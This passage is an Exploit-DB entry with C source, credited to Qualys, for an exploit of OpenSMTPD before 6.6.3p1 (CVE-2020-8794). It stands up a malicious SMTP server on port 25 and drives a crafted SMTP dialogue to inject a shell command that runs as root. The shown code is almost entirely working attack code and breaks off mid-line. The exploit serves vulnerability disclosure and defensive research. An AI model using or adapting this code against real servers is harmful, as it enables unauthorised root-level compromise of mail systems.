Exploit-DB #48140
Description: OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution
Type: remote
Platform: openbsd
Date: 2020-02-26
Author: Qualys Corporation

Exploit:
/*
 * LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)
 * Copyright (C) 2020 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

static enum {
    CLIENT_SIDE_EXPLOIT,
    SERVER_SIDE_EXPLOIT,
} exploit = CLIENT_SIDE_EXPLOIT;

static enum {
    NEW_SMTPD_GRAMMAR,
    OLD_SMTPD_GRAMMAR,
} grammar = NEW_SMTPD_GRAMMAR;

static struct {
    const char * command;
    const char * user;
    const char * dispatcher;
    const char * maildir;
    char lines[512];
} inject = {
    .command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0",
    .user = "root",
    .dispatcher = "local_mail",
    .maildir = NULL,
};

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static struct addrinfo *
common_getaddrinfo(const char * const host, const char * const port)
{
    const struct addrinfo hints = {
        .ai_family = AF_INET,
        .ai_socktype = SOCK_STREAM,
        .ai_protocol = IPPROTO_TCP,
        .ai_flags = AI_NUMERICHOST | AI_NUMERICSERV,
    };
    struct addrinfo * addr = NULL;
    if (getaddrinfo(host, port, &hints, &addr) != 0) die();
    if (addr == NULL || addr->ai_next != NULL) die();
    return addr;
}

static const char *
common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len)
{
    static char host[NI_MAXHOST];
    static char port[NI_MAXSERV];
    if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port),
        NI_NUMERICHOST | NI_NUMERICSERV) != 0) die();

    static char host_port[NI_MAXHOST + NI_MAXSERV];
    if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die();
    return host_port;
}

static void
common_send(const int fd, const char * const format, va_list ap)
{
    if (fd <= -1) die();
    static char buf[1024];
    const int len = vsnprintf(buf, sizeof(buf), format, ap);
    if (len <= 0 || (unsigned)len >= sizeof(buf)) die();
    printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : "");

    const char * data = buf;
    size_t size = len;

    for (;;) {
        const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL);
        if (sent <= 0) die();
        if ((size_t)sent > size) die();
        data += sent;
        size -= sent;
        if (size <= 0) return;
    }
    die();
}

static int listen_fd = -1;

static void
server_listen(void)
{
    if (listen_fd != -1) die();
    const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25");
    listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
    if (listen_fd <= -1) die();

    const int on = 1;
    if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die();
    if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die();
    if (listen(listen_fd, 10) != 0) die();

    printf("\nListening on %s\n",
        common_getnameinfo(addr->ai_addr, addr->ai_addrlen));
}

static int server_fd = -1;

static void
server_accept(void)
{
    struct sockaddr addr;
    socklen_t addr_len = sizeof(addr);

    if (listen_fd <= -1) die();
    if (server_fd != -1) die();
    server_fd = accept(listen_fd, &addr, &addr_len);
    if (server_fd <= -1) die();
    if (addr_len > sizeof(addr)) die();

    const time_t now = time(NULL);
    printf("\nConnection from %s\n%s",
        common_getnameinfo(&addr, addr_len), ctime(&now));

    const int on = 1;
    if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die();
}

static void
server_send(const char * const format, ...)
{
    if (server_fd <= -1) die();

    va_list ap;
    va_start(ap, format);
    common_send(server_fd, format, ap);
    va_end(ap);
}

static char server_command[1024];

static void
server_recv(const char * const prefix)
{
    if (server_fd <= -1) die();
    const size_t prefix_len = strlen(prefix);
    if (prefix_len < 4) die();

    char * data = server_command;
    size_t size = sizeof(server_command);

    for (;;) {
        const ssize_t rcvd = recv(server_fd, data, size, 0);
        if (rcvd <= 0) die();
        if ((size_t)rcvd >= size) die();
        data += rcvd;
        size -= rcvd;
        data[0] = '\0';
        if (data[-1] != '\n') continue;
        if (strchr(server_command, '\n') != data - 1) die();

        printf("<-- %s", server_command);
        if (strncmp(server_command, prefix, prefix_len) != 0) die();
        return;
    }
    die();
}

static void
server_close(void)
{
    if (server_fd <= -1) die();
    if (close(server_fd) != 0) die();
    server_fd = -1;
}

static void
server_session(const char * const inject_lines)
{
    const char * const error_code =
        (exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553";

    server_accept();
    server_send("220 ent.of.line ESMTP\n");

    server_recv("EHLO ");
    server_send("250 ent.of.line Hello\n");

    server_recv("MAIL FROM:<");
    if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) !=
        (exploit == SERVER_SIDE_EXPLOIT)) die();

    if (in